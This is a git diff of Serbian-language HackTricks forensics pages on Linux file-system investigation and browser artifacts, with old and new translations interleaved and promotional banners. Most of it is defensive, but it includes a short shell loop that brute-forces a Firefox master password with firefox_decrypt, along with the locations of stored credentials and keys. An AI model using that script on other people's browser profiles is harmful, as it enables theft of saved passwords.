Na kraju, potražite naloge bez **šifri** ili sa **lako pogodnim** šiframa.
|
||||
|
||||
## Pregled korisničkih naloga i aktivnosti prijavljivanja
|
||||
## Pregledajte Sistem Datoteka
|
||||
|
||||
Pregledajte datoteke _**/etc/passwd**_, _**/etc/shadow**_ i **bezbednosne zapise** u potrazi za neobičnim imenima ili nalozima koji su kreirani ili korišćeni u blizini poznatih neovlašćenih događaja. Takođe, proverite moguće brute-force napade na sudo.\
|
||||
Takođe, proverite datoteke poput _**/etc/sudoers**_ i _**/etc/groups**_ u potrazi za neočekivanim privilegijama dodeljenim korisnicima.\
|
||||
Na kraju, potražite naloge bez lozinki ili sa lako pogodivim lozinkama.
|
||||
### Analiza Struktura Sistem Datoteka u Istraživanju Malvera
|
||||
|
||||
## Pregledajte sistem datoteka
|
||||
Prilikom istraživanja incidenata sa malverom, struktura sistem datoteka je ključan izvor informacija, otkrivajući kako se događaji odvijaju i sadržaj malvera. Međutim, autori malvera razvijaju tehnike koje otežavaju ovu analizu, poput modifikacije vremena datoteka ili izbegavanja sistema datoteka za skladištenje podataka.
|
||||
|
||||
### Analiza struktura sistema datoteka u istrazi malvera
|
||||
Da biste se suprotstavili ovim anti-forenzičkim metodama, bitno je:
|
||||
|
||||
Prilikom istraživanja incidenata sa malverom, struktura sistema datoteka je ključni izvor informacija koji otkriva kako su se događaji odvijali i sadržaj malvera. Međutim, autori malvera razvijaju tehnike koje ometaju ovu analizu, kao što su izmena vremena datoteka ili izbegavanje sistema datoteka za skladištenje podataka.
|
||||
|
||||
Da biste se suprotstavili ovim anti-forenzičkim metodama, važno je:
|
||||
|
||||
- **Sprovoditi temeljnu analizu vremenske linije** koristeći alate poput **Autopsy** za vizualizaciju vremenske linije događaja ili **Sleuth Kit's** `mactime` za detaljne podatke o vremenskoj liniji.
|
||||
- **Istražiti neočekivane skripte** u $PATH sistemu, koje mogu sadržati skripte ljuske ili PHP skripte koje koriste napadači.
|
||||
- **Pregledati `/dev` za netipične datoteke**, jer tradicionalno sadrži posebne datoteke, ali može sadržati datoteke povezane sa malverom.
|
||||
- **Tražiti skrivene datoteke ili direktorijume** sa imenima poput ".. " (tačka tačka razmak) ili "..^G" (tačka tačka kontrola-G), koje mogu sakriti zlonamerni sadržaj.
|
||||
- **Identifikovati datoteke sa postavljenim setuid privilegijama** korišćenjem komande:
|
||||
```find / -user root -perm -04000 -print```
|
||||
Ovo pronalazi datoteke sa povišenim privilegijama koje napadači mogu zloupotrebiti.
|
||||
- **Pregledati vremenske oznake brisanja** u tabelama inoda kako biste otkrili masovno brisanje datoteka, što može ukazivati na prisustvo rootkitova ili trojanaca.
|
||||
- **Pregledati uzastopne inode** za bliske zlonamerne datoteke nakon što se jedna identifikuje, jer mogu biti smeštene zajedno.
|
||||
- **Proveriti uobičajene binarne direktorijume** (_/bin_, _/sbin_) za nedavno izmenjene datoteke, jer ih malver može izmeniti.
|
||||
```bash
|
||||
* **Sprovesti temeljnu analizu vremenske linije** koristeći alate poput **Autopsy** za vizualizaciju vremenskih linija događaja ili **Sleuth Kit's** `mactime` za detaljne podatke o vremenskoj liniji.
|
||||
* **Istražiti neočekivane skripte** u $PATH sistemu, koje mogu uključivati skripte ljuske ili PHP skripte korišćene od strane napadača.
|
||||
* **Pregledati `/dev` za atipične datoteke**, jer tradicionalno sadrži specijalne datoteke, ali može sadržati datoteke povezane sa malverom.
|
||||
* **Tražiti skrivene datoteke ili direktorijume** sa imenima poput ".. " (tačka tačka razmak) ili "..^G" (tačka tačka kontrola-G), koje mogu sakriti zlonamerni sadržaj.
|
||||
* **Identifikovati setuid root datoteke** korišćenjem komande: `find / -user root -perm -04000 -print` Ovo pronalazi datoteke sa povišenim dozvolama, koje bi mogle biti zloupotrebljene od strane napadača.
|
||||
* **Pregledati vremena brisanja** u inode tabelama kako biste primetili masovna brisanja datoteka, što može ukazivati na prisustvo rootkita ili trojanaca.
|
||||
* **Ispitati uzastopne inode** za bliske zlonamerne datoteke nakon identifikacije jedne, jer su možda postavljene zajedno.
|
||||
* **Proveriti zajedničke binarne direktorijume** (_/bin_, _/sbin_) za nedavno modifikovane datoteke, jer bi ih malver mogao promeniti.
|
||||
````bash
|
||||
# List recent files in a directory:
|
||||
ls -laR --sort=time /bin```
|
||||
|
||||
# Sort files in a directory by inode:
|
||||
ls -lai /bin | sort -n```
|
||||
```
|
||||
````
|
||||
{% hint style="info" %}
|
||||
Imajte na umu da **napadač** može **izmeniti** **vreme** da bi **fajlovi izgledali** **legitimno**, ali ne može izmeniti **inode**. Ako primetite da **fajl** pokazuje da je kreiran i izmenjen u **istom trenutku** kao i ostali fajlovi u istom folderu, ali je **inode** **neočekivano veći**, onda su **vremenske oznake tog fajla izmenjene**.
|
||||
Imajte na umu da **napadač** može **izmeniti** **vreme** da bi **datoteke izgledale** **legitimno**, ali ne može izmeniti **inode**. Ako primetite da **datoteka** pokazuje da je kreirana i izmenjena u **istom vremenu** kao i ostale datoteke u istom folderu, ali je **inode** **neočekivano veći**, onda su **vremenske oznake te datoteke izmenjene**.
|
||||
{% endhint %}
|
||||
|
||||
## Uporedite fajlove različitih verzija fajl sistema
|
||||
## Uporedite datoteke različitih verzija fajl sistema
|
||||
|
||||
### Rezime uporedjivanja verzija fajl sistema
|
||||
### Sažetak uporedbe verzija fajl sistema
|
||||
|
||||
Da biste uporedili verzije fajl sistema i identifikovali promene, koristite pojednostavljene `git diff` komande:
|
||||
Da biste uporedili verzije fajl sistema i precizno odredili promene, koristimo pojednostavljene `git diff` komande:
|
||||
|
||||
- **Da biste pronašli nove fajlove**, uporedite dva direktorijuma:
|
||||
* **Da biste pronašli nove datoteke**, uporedite dva direktorijuma:
|
||||
```bash
|
||||
git diff --no-index --diff-filter=A path/to/old_version/ path/to/new_version/
|
||||
```
|
||||
- **Za izmenjen sadržaj**, navedite promene ignorišući određene linije:
|
||||
* **Za izmenjen sadržaj**, navedite promene ignorišući specifične linije:
|
||||
```bash
|
||||
git diff --no-index --diff-filter=M path/to/old_version/ path/to/new_version/ | grep -E "^\+" | grep -v "Installed-Time"
|
||||
```
|
||||
- **Da biste otkrili izbrisane datoteke**:
|
||||
* **Za otkrivanje izbrisanih fajlova**:
|
||||
```bash
|
||||
git diff --no-index --diff-filter=D path/to/old_version/ path/to/new_version/
|
||||
```
|
||||
- **Opcije filtera** (`--diff-filter`) pomažu u sužavanju na specifične promene kao što su dodate (`A`), obrisane (`D`) ili izmenjene (`M`) datoteke.
|
||||
- `A`: Dodate datoteke
|
||||
- `C`: Kopirane datoteke
|
||||
- `D`: Obrisane datoteke
|
||||
- `M`: Izmenjene datoteke
|
||||
- `R`: Preimenovane datoteke
|
||||
- `T`: Promene tipa (npr. datoteka u simbolički link)
|
||||
- `U`: Nespajane datoteke
|
||||
- `X`: Nepoznate datoteke
|
||||
- `B`: Oštećene datoteke
|
||||
* **Opcije filtriranja** (`--diff-filter`) pomažu u sužavanju na specifične promene poput dodatih (`A`), izbrisanih (`D`) ili izmenjenih (`M`) fajlova.
|
||||
* `A`: Dodati fajlovi
|
||||
* `C`: Kopirani fajlovi
|
||||
* `D`: Izbrisani fajlovi
|
||||
* `M`: Izmenjeni fajlovi
|
||||
* `R`: Preimenovani fajlovi
|
||||
* `T`: Promene tipa (npr. fajl u simboličku vezu)
|
||||
* `U`: Nespajani fajlovi
|
||||
* `X`: Nepoznati fajlovi
|
||||
* `B`: Oštećeni fajlovi
|
||||
|
||||
## Reference
|
||||
|
||||
|
@ -424,22 +416,22 @@ git diff --no-index --diff-filter=D path/to/old_version/ path/to/new_version/
|
|||
|
||||
<details>
|
||||
|
||||
<summary><strong>Naučite hakovanje AWS-a od nule do heroja sa</strong> <a href="https://training.hacktricks.xyz/courses/arte"><strong>htARTE (HackTricks AWS Red Team Expert)</strong></a><strong>!</strong></summary>
|
||||
<summary><strong>Naučite hakovanje AWS-a od početka do naprednog nivoa sa</strong> <a href="https://training.hacktricks.xyz/courses/arte"><strong>htARTE (HackTricks AWS Red Team Expert)</strong></a><strong>!</strong></summary>
|
||||
|
||||
Da li radite u **cybersecurity kompaniji**? Želite li videti **vašu kompaniju reklamiranu na HackTricks-u**? Ili želite da imate pristup **najnovijoj verziji PEASS-a ili preuzmete HackTricks u PDF formatu**? Proverite [**SUBSCRIPTION PLANS**](https://github.com/sponsors/carlospolop)!
|
||||
Da li radite u **kompaniji za kibernetičku bezbednost**? Želite li da vidite svoju **kompaniju reklamiranu na HackTricks**? ili želite pristup **najnovijoj verziji PEASS-a ili preuzimanje HackTricks-a u PDF formatu**? Proverite [**PLANOVE ZA PRETPLATU**](https://github.com/sponsors/carlospolop)!
|
||||
|
||||
* Otkrijte [**The PEASS Family**](https://opensea.io/collection/the-peass-family), našu kolekciju ekskluzivnih [**NFT-ova**](https://opensea.io/collection/the-peass-family)
|
||||
* Nabavite [**zvanični PEASS & HackTricks swag**](https://peass.creator-spring.com)
|
||||
* **Pridružite se** [**💬**](https://emojipedia.org/speech-balloon/) [**Discord grupi**](https://discord.gg/hRep4RUj7f) ili [**telegram grupi**](https://t.me/peass) ili me **pratite** na **Twitter-u** 🐦[**@carlospolopm**](https://twitter.com/hacktricks\_live)**.**
|
||||
* **Pridružite se** [**💬**](https://emojipedia.org/speech-balloon/) **Discord grupi** ili **telegram grupi** ili me **pratite** na **Twitteru** 🐦[**@carlospolopm**](https://twitter.com/hacktricks\_live)**.**
|
||||
|
||||
**Podelite svoje hakovanje trikove slanjem PR-ova na** [**hacktricks repo**](https://github.com/carlospolop/hacktricks) **i** [**hacktricks-cloud repo**](https://github.com/carlospolop/hacktricks-cloud).
|
||||
**Podelite svoje hakovanje trikove slanjem PR-ova na** [**hacktricks repozitorijum**](https://github.com/carlospolop/hacktricks) **i** [**hacktricks-cloud repozitorijum**](https://github.com/carlospolop/hacktricks-cloud).
|
||||
|
||||
</details>
|
||||
|
||||
<figure><img src="../../.gitbook/assets/image (3) (1) (1) (1) (1).png" alt=""><figcaption></figcaption></figure>
|
||||
<figure><img src="../../.gitbook/assets/image (3) (1) (1) (1) (1) (1).png" alt=""><figcaption></figcaption></figure>
|
||||
|
||||
\
|
||||
Koristite [**Trickest**](https://trickest.com/?utm\_campaign=hacktrics\&utm\_medium=banner\&utm\_source=hacktricks) da biste lako izgradili i **automatizovali radne tokove** uz pomoć najnaprednijih alata zajednice.\
|
||||
Dobijte pristup danas:
|
||||
Koristite [**Trickest**](https://trickest.com/?utm\_campaign=hacktrics\&utm\_medium=banner\&utm\_source=hacktricks) da biste lako kreirali i **automatizovali radne tokove** uz pomoć najnaprednijih alata zajednice na svetu.\
|
||||
Pristupite danas:
|
||||
|
||||
{% embed url="https://trickest.com/?utm_campaign=hacktrics&utm_medium=banner&utm_source=hacktricks" %}
|
||||
|
|
|
@ -1,4 +1,4 @@
|
|||
# Artifakti pregledača
|
||||
# Browser Artifacts
|
||||
|
||||
<details>
|
||||
|
||||
|
@ -6,74 +6,72 @@
|
|||
|
||||
Drugi načini podrške HackTricks-u:
|
||||
|
||||
* Ako želite da vidite **vašu kompaniju reklamiranu na HackTricks-u** ili **preuzmete HackTricks u PDF formatu** proverite [**SUBSCRIPTION PLANS**](https://github.com/sponsors/carlospolop)!
|
||||
* Ako želite da vidite svoju **kompaniju reklamiranu na HackTricks-u** ili da **preuzmete HackTricks u PDF formatu** proverite [**PLANOVE ZA PRIJAVU**](https://github.com/sponsors/carlospolop)!
|
||||
* Nabavite [**zvanični PEASS & HackTricks swag**](https://peass.creator-spring.com)
|
||||
* Otkrijte [**The PEASS Family**](https://opensea.io/collection/the-peass-family), našu kolekciju ekskluzivnih [**NFT-ova**](https://opensea.io/collection/the-peass-family)
|
||||
* **Pridružite se** 💬 [**Discord grupi**](https://discord.gg/hRep4RUj7f) ili [**telegram grupi**](https://t.me/peass) ili nas **pratite** na **Twitter-u** 🐦 [**@hacktricks_live**](https://twitter.com/hacktricks_live)**.**
|
||||
* Otkrijte [**Porodičnu PEASS**](https://opensea.io/collection/the-peass-family), našu kolekciju ekskluzivnih [**NFT-ova**](https://opensea.io/collection/the-peass-family)
|
||||
* **Pridružite se** 💬 [**Discord grupi**](https://discord.gg/hRep4RUj7f) ili [**telegram grupi**](https://t.me/peass) ili nas **pratite** na **Twitteru** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks\_live)**.**
|
||||
* **Podelite svoje hakovanje trikove slanjem PR-ova na** [**HackTricks**](https://github.com/carlospolop/hacktricks) i [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github repozitorijume.
|
||||
|
||||
</details>
|
||||
|
||||
<figure><img src="../../../.gitbook/assets/image (3) (1) (1) (1) (1).png" alt=""><figcaption></figcaption></figure>
|
||||
<figure><img src="../../../.gitbook/assets/image (3) (1) (1) (1) (1) (1).png" alt=""><figcaption></figcaption></figure>
|
||||
|
||||
\
|
||||
Koristite [**Trickest**](https://trickest.com/?utm\_campaign=hacktrics\&utm\_medium=banner\&utm\_source=hacktricks) da biste lako izgradili i **automatizovali radne tokove** uz pomoć najnaprednijih alata zajednice na svetu.\
|
||||
Danas dobijte pristup:
|
||||
Koristite [**Trickest**](https://trickest.com/?utm\_campaign=hacktrics\&utm\_medium=banner\&utm\_source=hacktricks) da lako izgradite i **automatizujete radne tokove** pokretane najnaprednijim alatima zajednice na svetu.\
|
||||
Pristupite danas:
|
||||
|
||||
{% embed url="https://trickest.com/?utm_campaign=hacktrics&utm_medium=banner&utm_source=hacktricks" %}
|
||||
|
||||
## Artifakti pregledača <a href="#id-3def" id="id-3def"></a>
|
||||
|
||||
Artifakti pregledača uključuju različite vrste podataka koje čuvaju veb pregledači, kao što su istorija navigacije, obeleživači i keš podaci. Ovi artifakti se čuvaju u određenim fasciklama unutar operativnog sistema, razlikujući se po lokaciji i imenu u različitim pregledačima, ali uglavnom čuvajući slične vrste podataka.
|
||||
Artifakti pregledača uključuju različite vrste podataka koje čuvaju veb pregledači, poput istorije navigacije, obeleživača i keš podataka. Ovi artifakti se čuvaju u specifičnim fasciklama unutar operativnog sistema, razlikujući se po lokaciji i imenu u različitim pregledačima, ali uglavnom čuvajući slične vrste podataka.
|
||||
|
||||
Evo sažetka najčešćih artifakata pregledača:
|
||||
|
||||
- **Istorija navigacije**: Prati posete korisnika veb sajtovima, korisno za identifikaciju poseta zlonamernim sajtovima.
|
||||
- **Podaci za automatsko popunjavanje**: Predlozi na osnovu čestih pretraga, pružajući uvide kada se kombinuju sa istorijom navigacije.
|
||||
- **Obeleživači**: Sajtovi koje je korisnik sačuvao radi brzog pristupa.
|
||||
- **Proširenja i dodaci**: Proširenja pregledača ili dodaci instalirani od strane korisnika.
|
||||
- **Keš**: Čuva veb sadržaj (npr. slike, JavaScript fajlove) radi poboljšanja vremena učitavanja sajtova, vredno za forenzičku analizu.
|
||||
- **Prijave**: Sačuvani podaci za prijavljivanje.
|
||||
- **Favikoni**: Ikone povezane sa veb sajtovima, prikazuju se na karticama i obeleživačima, korisne za dodatne informacije o posetama korisnika.
|
||||
- **Sesije pregledača**: Podaci vezani za otvorene sesije pregledača.
|
||||
- **Preuzimanja**: Zapisi o fajlovima preuzetim putem pregledača.
|
||||
- **Podaci o obrascima**: Informacije unete u veb obrasce, sačuvane za buduće predloge automatskog popunjavanja.
|
||||
- **Sličice**: Prikazne slike veb sajtova.
|
||||
- **Custom Dictionary.txt**: Reči dodate od strane korisnika u rečnik pregledača.
|
||||
|
||||
* **Istorija navigacije**: Prati posete korisnika veb sajtovima, korisno za identifikaciju poseta zlonamernim sajtovima.
|
||||
* **Automatski podaci**: Predlozi zasnovani na čestim pretragama, pružajući uvide kada se kombinuju sa istorijom navigacije.
|
||||
* **Obeleživači**: Sajtovi koje je korisnik sačuvao radi brzog pristupa.
|
||||
* **Proširenja i dodaci**: Proširenja pregledača ili dodaci instalirani od strane korisnika.
|
||||
* **Keš**: Čuva veb sadržaj (npr. slike, JavaScript fajlove) radi poboljšanja vremena učitavanja sajtova, vredno za forenzičku analizu.
|
||||
* **Prijave**: Sačuvane prijavne informacije.
|
||||
* **Favikoni**: Ikone povezane sa veb sajtovima, koje se pojavljuju u tabovima i obeleživačima, korisne za dodatne informacije o posetama korisnika.
|
||||
* **Sesije pregledača**: Podaci vezani za otvorene sesije pregledača.
|
||||
* **Preuzimanja**: Zapisi fajlova preuzetih putem pregledača.
|
||||
* **Podaci o obrascima**: Informacije unete u veb obrasce, sačuvane za buduće predloge automatskog popunjavanja.
|
||||
* **Sličice**: Pregledne slike veb sajtova.
|
||||
* **Prilagođeni rečnik.txt**: Reči dodate od strane korisnika u rečnik pregledača.
|
||||
|
||||
## Firefox
|
||||
|
||||
Firefox organizuje korisničke podatke unutar profila, koji se čuvaju na određenim lokacijama u zavisnosti od operativnog sistema:
|
||||
Firefox organizuje korisničke podatke unutar profila, smeštenih na specifičnim lokacijama zavisno od operativnog sistema:
|
||||
|
||||
- **Linux**: `~/.mozilla/firefox/`
|
||||
- **MacOS**: `/Users/$USER/Library/Application Support/Firefox/Profiles/`
|
||||
- **Windows**: `%userprofile%\AppData\Roaming\Mozilla\Firefox\Profiles\`
|
||||
* **Linux**: `~/.mozilla/firefox/`
|
||||
* **MacOS**: `/Users/$USER/Library/Application Support/Firefox/Profiles/`
|
||||
* **Windows**: `%userprofile%\AppData\Roaming\Mozilla\Firefox\Profiles\`
|
||||
|
||||
U direktorijumima se nalazi `profiles.ini` fajl koji sadrži profile korisnika. Podaci svakog profila se čuvaju u fascikli čije ime odgovara vrednosti `Path` promenljive unutar `profiles.ini`, a nalazi se u istom direktorijumu kao i sam `profiles.ini`. Ako fascikla profila nedostaje, možda je obrisana.
|
||||
Fajl `profiles.ini` unutar ovih direktorijuma navodi korisničke profile. Podaci svakog profila se čuvaju u fascikli nazvanoj prema promenljivoj `Path` unutar `profiles.ini`, smeštenoj u istom direktorijumu kao i sam `profiles.ini`. Ako nedostaje fascikla profila, možda je obrisana.
|
||||
|
||||
Unutar svake fascikle profila, možete pronaći nekoliko važnih fajlova:
|
||||
|
||||
- **places.sqlite**: Čuva istoriju, obeleživače i preuzimanja. Alati poput [BrowsingHistoryView](https://www.nirsoft.net/utils/browsing_history_view.html) na Windows-u mogu pristupiti podacima istorije.
|
||||
- Koristite specifične SQL upite za izvlačenje informacija o istoriji i preuzimanjima.
|
||||
- **bookmarkbackups**: Sadrži rezervne kopije obeleživača.
|
||||
- **formhistory.sqlite**: Čuva podatke o veb obrascima.
|
||||
- **handlers.json**: Upravljači protokola.
|
||||
- **persdict.dat**: Reči prilagođenog rečnika.
|
||||
- **addons.json** i **extensions.sqlite**: Informacije o instaliranim dodacima i proširenjima.
|
||||
- **cookies.sqlite**: Skladište kolačića, sa [MZCookiesView](https://www.nirsoft.net/utils/mzcv.html) dostupnim za pregled na Windows-u.
|
||||
- **cache2/entries** ili **startupCache**: Keš podaci, dostupni putem alata poput [MozillaCacheView](https://www.nirsoft.net/utils/mozilla_cache_viewer.html).
|
||||
- **favicons.sqlite**: Čuva favikone.
|
||||
- **prefs.js**: Korisnička podešavanja i preferencije.
|
||||
- **downloads.sqlite**: Starija baza podataka preuzimanja, sada integrisana u places.sqlite.
|
||||
- **thumbnails**: Sličice veb sajtova.
|
||||
- **logins.json**: Šifrovani podaci za prijavljivanje.
|
||||
- **key4.db** ili **key3.db**: Čuva ključeve za šifrovanje osetljivih informacija.
|
||||
* **places.sqlite**: Čuva istoriju, obeleživače i preuzimanja. Alati poput [BrowsingHistoryView](https://www.nirsoft.net/utils/browsing\_history\_view.html) na Windows-u mogu pristupiti podacima istorije.
|
||||
* Koristite specifične SQL upite za izvlačenje informacija o istoriji i preuzimanjima.
|
||||
* **bookmarkbackups**: Sadrži rezervne kopije obeleživača.
|
||||
* **formhistory.sqlite**: Čuva podatke o veb obrascima.
|
||||
* **handlers.json**: Upravljači protokolima.
|
||||
* **persdict.dat**: Prilagođene reči rečnika.
|
||||
* **addons.json** i **extensions.sqlite**: Informacije o instaliranim dodacima i proširenjima.
|
||||
* **cookies.sqlite**: Čuvanje kolačića, sa [MZCookiesView](https://www.nirsoft.net/utils/mzcv.html) dostupnim za inspekciju na Windows-u.
|
||||
* **cache2/entries** ili **startupCache**: Keš podaci, pristupačni putem alata poput [MozillaCacheView](https://www.nirsoft.net/utils/mozilla\_cache\_viewer.html).
|
||||
* **favicons.sqlite**: Čuva favikone.
|
||||
* **prefs.js**: Korisnička podešavanja i preferencije.
|
||||
* **downloads.sqlite**: Starija baza podataka preuzimanja, sada integrisana u places.sqlite.
|
||||
* **thumbnails**: Slike pregleda veb sajtova.
|
||||
* **logins.json**: Šifrovane prijavne informacije.
|
||||
* **key4.db** ili **key3.db**: Čuva ključeve za šifrovanje osetljivih informacija.
|
||||
|
||||
Dodatno, proveru postavki protiv-fisinga pregledača možete izvršiti pretragom unosa `browser.safebrowsing` u `prefs.js`, što ukazuje da li su funkcije sigurnog pregledanja omogućene ili onemogućene.
|
||||
Dodatno, proveru anti-phishing podešavanja pregledača možete obaviti pretragom unosa `browser.safebrowsing` u `prefs.js`, što ukazuje da li su funkcije sigurnog pregledanja omogućene ili onemogućene.
|
||||
|
||||
|
||||
Da biste pokušali dešifrovanje glavne lozinke, možete koristiti [https://github.com/unode/firefox\_decrypt](https://github.com/unode/firefox\_decrypt)\
|
||||
Za pokušaj dešifrovanja glavne lozinke, možete koristiti [https://github.com/unode/firefox\_decrypt](https://github.com/unode/firefox\_decrypt)\
|
||||
Pomoću sledećeg skripta i poziva možete specificirati fajl sa lozinkom za brute force:
|
||||
|
||||
{% code title="brute.sh" %}
|
||||
|
@ -87,72 +85,96 @@ echo "Trying $pass"
|
|||
echo "$pass" | python firefox_decrypt.py
|
||||
done < $passfile
|
||||
```
|
||||
{% endcode %}
|
||||
|
||||
![](<../../../.gitbook/assets/image (417).png>)
|
||||
|
||||
## Google Chrome
|
||||
|
||||
Google Chrome čuva korisničke profile na određenim lokacijama zavisno od operativnog sistema:
|
||||
Google Chrome čuva korisničke profile na specifičnim lokacijama zavisno od operativnog sistema:
|
||||
|
||||
- **Linux**: `~/.config/google-chrome/`
|
||||
- **Windows**: `C:\Users\XXX\AppData\Local\Google\Chrome\User Data\`
|
||||
- **MacOS**: `/Users/$USER/Library/Application Support/Google/Chrome/`
|
||||
|
||||
U ovim direktorijumima, većina korisničkih podataka se može naći u fasciklama **Default/** ili **ChromeDefaultData/**. Sledeći fajlovi sadrže značajne podatke:
|
||||
U ovim direktorijumima, većina korisničkih podataka se može pronaći u fasciklama **Default/** ili **ChromeDefaultData/**. Sledeći fajlovi sadrže značajne podatke:
|
||||
|
||||
- **History**: Sadrži URL-ove, preuzimanja i ključne reči pretrage. Na Windows-u, [ChromeHistoryView](https://www.nirsoft.net/utils/chrome_history_view.html) se može koristiti za čitanje istorije. Kolona "Transition Type" ima različita značenja, uključujući korisničke klikove na linkove, unete URL-ove, podnesene forme i osvežavanje stranica.
|
||||
- **Cookies**: Čuva kolačiće. Za pregled, dostupan je [ChromeCookiesView](https://www.nirsoft.net/utils/chrome_cookies_view.html).
|
||||
- **Cache**: Čuva keširane podatke. Windows korisnici mogu koristiti [ChromeCacheView](https://www.nirsoft.net/utils/chrome_cache_view.html) za pregled.
|
||||
- **History**: Sadrži URL-ove, preuzimanja i ključne reči pretrage. Na Windows-u, [ChromeHistoryView](https://www.nirsoft.net/utils/chrome\_history\_view.html) se može koristiti za čitanje istorije. Kolona "Transition Type" ima različita značenja, uključujući klikove korisnika na linkove, unete URL-ove, podnesene forme i osvežavanja stranica.
|
||||
- **Cookies**: Čuva kolačiće. Za inspekciju, dostupan je [ChromeCookiesView](https://www.nirsoft.net/utils/chrome\_cookies\_view.html).
|
||||
- **Cache**: Čuva keširane podatke. Windows korisnici mogu koristiti [ChromeCacheView](https://www.nirsoft.net/utils/chrome\_cache\_view.html) za inspekciju.
|
||||
- **Bookmarks**: Korisnički obeleživači.
|
||||
- **Web Data**: Sadrži istoriju formi.
|
||||
- **Favicons**: Čuva favicon-e veb sajtova.
|
||||
- **Login Data**: Uključuje korisničke podatke za prijavljivanje kao što su korisnička imena i lozinke.
|
||||
- **Current Session**/**Current Tabs**: Podaci o trenutnoj sesiji pretraživanja i otvorenim karticama.
|
||||
- **Last Session**/**Last Tabs**: Informacije o sajtovima aktivnim tokom poslednje sesije pre nego što je Chrome zatvoren.
|
||||
- **Favicons**: Čuva favikone veb sajtova.
|
||||
- **Login Data**: Uključuje podatke za prijavljivanje poput korisničkih imena i lozinki.
|
||||
- **Current Session**/**Current Tabs**: Podaci o trenutnoj sesiji pregledanja i otvorenim tabovima.
|
||||
- **Last Session**/**Last Tabs**: Informacije o sajtovima aktivnim tokom poslednje sesije pre zatvaranja Chrome-a.
|
||||
- **Extensions**: Direktorijumi za proširenja i dodatke pregledača.
|
||||
- **Thumbnails**: Čuva sličice veb sajtova.
|
||||
- **Preferences**: Fajl bogat informacijama, uključujući podešavanja za dodatke, proširenja, iskačuće prozore, obaveštenja i još mnogo toga.
|
||||
- **Ugrađena anti-phishing zaštita pregledača**: Da biste proverili da li je anti-phishing i zaštita od malvera omogućena, pokrenite `grep 'safebrowsing' ~/Library/Application Support/Google/Chrome/Default/Preferences`. Potražite `{"enabled: true,"}` u izlazu.
|
||||
- **Preferences**: Fajl bogat informacijama, uključujući podešavanja za dodatke, proširenja, iskačuće prozore, obaveštenja i više.
|
||||
- **Ugrađena anti-phishing za pregledač**: Da biste proverili da li je anti-phishing i zaštita od malvera omogućena, pokrenite `grep 'safebrowsing' ~/Library/Application Support/Google/Chrome/Default/Preferences`. Potražite `{"enabled: true,"}` u izlazu.
|
||||
|
||||
## **Obnova podataka iz SQLite baze podataka**
|
||||
|
||||
## **Obnova podataka iz SQLite baze**
|
||||
|
||||
Kao što možete primetiti u prethodnim odeljcima, i Chrome i Firefox koriste **SQLite** baze podataka za čuvanje podataka. Moguće je **obnoviti obrisane unose koristeći alat** [**sqlparse**](https://github.com/padfoot999/sqlparse) **ili** [**sqlparse\_gui**](https://github.com/mdegrazia/SQLite-Deleted-Records-Parser/releases).
|
||||
Kao što možete primetiti u prethodnim sekcijama, kako Chrome tako i Firefox koriste **SQLite** baze podataka za čuvanje podataka. Moguće je **obnoviti obrisane unose korišćenjem alata** [**sqlparse**](https://github.com/padfoot999/sqlparse) **ili** [**sqlparse\_gui**](https://github.com/mdegrazia/SQLite-Deleted-Records-Parser/releases).
|
||||
|
||||
## **Internet Explorer 11**
|
||||
|
||||
Internet Explorer 11 upravlja svojim podacima i metapodacima na različitim lokacijama, olakšavajući razdvajanje čuvanih informacija i odgovarajućih detalja radi lakšeg pristupa i upravljanja.
|
||||
Internet Explorer 11 upravlja svojim podacima i metapodacima na različitim lokacijama, pomažući u razdvajanju čuvanih informacija i odgovarajućih detalja radi lakšeg pristupa i upravljanja.
|
||||
|
||||
### Čuvanje metapodataka
|
||||
Metapodaci za Internet Explorer se čuvaju u `%userprofile%\Appdata\Local\Microsoft\Windows\WebCache\WebcacheVX.data` (pri čemu je VX V01, V16 ili V24). Uz to, fajl `V01.log` može pokazivati neslaganja u vremenu izmene sa `WebcacheVX.data`, što ukazuje na potrebu za popravkom korišćenjem `esentutl /r V01 /d`. Ovi metapodaci, smešteni u ESE bazi podataka, mogu se obnoviti i pregledati pomoću alata kao što su photorec i [ESEDatabaseView](https://www.nirsoft.net/utils/ese_database_view.html). U okviru tabele **Containers**, moguće je razlikovati specifične tabele ili kontejnere u kojima se čuva svaki segment podataka, uključujući detalje keša za druge Microsoft alate kao što je Skype.
|
||||
|
||||
### Pregled keša
|
||||
Alat [IECacheView](https://www.nirsoft.net/utils/ie_cache_viewer.html) omogućava pregled keša, uz zahtev za lokacijom fascikle za ekstrakciju podataka iz keša. Metapodaci za keš uključuju ime fajla, direktorijum, broj pristupa, URL poreklo i vremenske oznake koje ukazuju na vreme kreiranja, pristupa, izmene i isteka keša.
|
||||
Metapodaci za Internet Explorer se čuvaju u `%userprofile%\Appdata\Local\Microsoft\Windows\WebCache\WebcacheVX.data` (sa VX koji može biti V01, V16 ili V24). Pored toga, fajl `V01.log` može pokazati razlike u vremenu modifikacije u odnosu na `WebcacheVX.data`, što ukazuje na potrebu popravke korišćenjem `esentutl /r V01 /d`. Ovi metapodaci, smešteni u ESE bazi podataka, mogu biti obnovljeni i inspektovani korišćenjem alata poput photorec i [ESEDatabaseView](https://www.nirsoft.net/utils/ese\_database\_view.html), redom. Unutar tabele **Containers**, može se razlikovati specifične tabele ili kontejneri gde je smešten svaki segment podataka, uključujući detalje keša za druge Microsoft alate poput Skype-a.
|
||||
|
||||
### Inspekcija keša
|
||||
|
||||
Alat [IECacheView](https://www.nirsoft.net/utils/ie\_cache\_viewer.html) omogućava inspekciju keša, zahtevajući lokaciju fascikle za ekstrakciju keš podataka. Metapodaci za keš uključuju ime fajla, direktorijum, broj pristupa, poreklo URL-a i vremenske oznake koje pokazuju vreme kreiranja, pristupa, modifikacije i isteka keša.
|
||||
|
||||
### Upravljanje kolačićima
|
||||
Kolačiće je moguće istražiti pomoću [IECookiesView](https://www.nirsoft.net/utils/iecookies.html), pri čemu metapodaci obuhvataju imena, URL-ove, broj pristupa i razne detalje vezane za vreme. Trajni kolačići se čuvaju u `%userprofile%\Appdata\Roaming\Microsoft\Windows\Cookies`, dok se sesijski kolačići čuvaju u memoriji.
|
||||
|
||||
Kolačići se mogu istražiti korišćenjem [IECookiesView](https://www.nirsoft.net/utils/iecookies.html), pri čemu metapodaci obuhvataju imena, URL-ove, broj pristupa i različite detalje vezane za vreme. Trajni kolačići se čuvaju u `%userprofile%\Appdata\Roaming\Microsoft\Windows\Cookies`, dok se sesijski kolačići nalaze u memoriji.
|
||||
|
||||
